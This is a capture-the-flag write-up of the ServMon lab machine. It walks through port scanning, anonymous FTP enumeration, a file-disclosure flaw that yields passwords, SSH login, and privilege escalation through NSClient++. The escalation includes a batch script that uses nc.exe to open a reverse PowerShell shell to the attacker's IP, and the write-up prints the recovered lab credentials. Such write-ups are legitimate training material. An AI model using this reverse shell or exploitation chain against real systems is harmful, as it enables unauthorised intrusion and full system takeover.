ServMon HTB Writeup
Hello,
This time I am writing the solution for the ServMon box. A easy windows box. Let’s dive into the solution.
🔥 nmap to get the open ports.
nmap -sC -sV -oA initial -Pn 10.10.10.184
The resutls…
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20 12:05PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
| 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp open http
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
|_ Location: /index.html
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=
First of all the one port I will look is ftp because I have anonymous access allowed.
There is a directory named Users and inside that there are two directories Nadine
and Nathan
containing two files named Confidential.txt
and Notes to do.txt
respectively. It is a good thing at this time to keep notes about these two usernames.
The content of Confidential.txt
:
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
I keep in back of my mind that there is file named Passwords.txt in Nathan Desktop folder.
And Notes to do.txt
:
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
There are some incompleted todo’s such as remove public access to NVMS. Remember port 80? Let’s take a look into that.
So this validates the 4th todo. I try to login by using admin
as username and password but nothing. At this point because I don’t have a password, I try to search about vulnerabilites.
I open burp, navigate to 10.10.10.184 intercept the request and then send it to repeater(ctrl+r).
And indeed this works. Now If you remember from Confidential.txt
there is a file with passwords. I get that file.
After trying each of this password with ssh password L1k3B1gBut7s@W0rk
worked.
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>
We can get user flag now.
After searching the box for hints about root, I find nothing. Going back to nmap we can see a port open 84433
wiht ssl cert. Visiting the site brings up a NSClient++
.
Searching with searchsploit turns out there is a privilege escalation.
First we need to get the password of the client from file c:\program files\nsclient++\nsclient.ini
; Undocumented key
password = ew2x6SsGTxjRwXOT
But the password does not work. Giving us a 403.
Going back to the nsclient.ini
file I see there is present a configuration which does not allow connections from
; Undocumented key
allowed hosts = 127.0.0.1
````
Because I am using ssh I can create a local tunnel from my host to nsclient locally and then access it. By doing this I use a [trick](https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/) to access something like a hidden menu on ssh, and then execute
`-L 8443:127.0.0.1:8443`. And then go to my browser and access the website with `https://localhost:8443`
I now create a .bat script
@echo off
C:\Temp\nc.exe 10.10.14.52 9854 -e powershell
and upload it alongside nc.exe inside `C:\Temp\` and setup listener on our local box
Next step is to enable two modules:
- CheckExternalScripts
- Scheduler
After I create a externalscript, with these key and value.(replace fuxsocy.bat with your .bat filename)

Next I setup to run it every minute.

and specify the command, which in our case is rce, which is the name of the external script which will execute the command.

Then I save the Changes under the `Changes` button and Under `Control` button I reset the service. I wait for 1-2 minutes and get a shell as administrator.
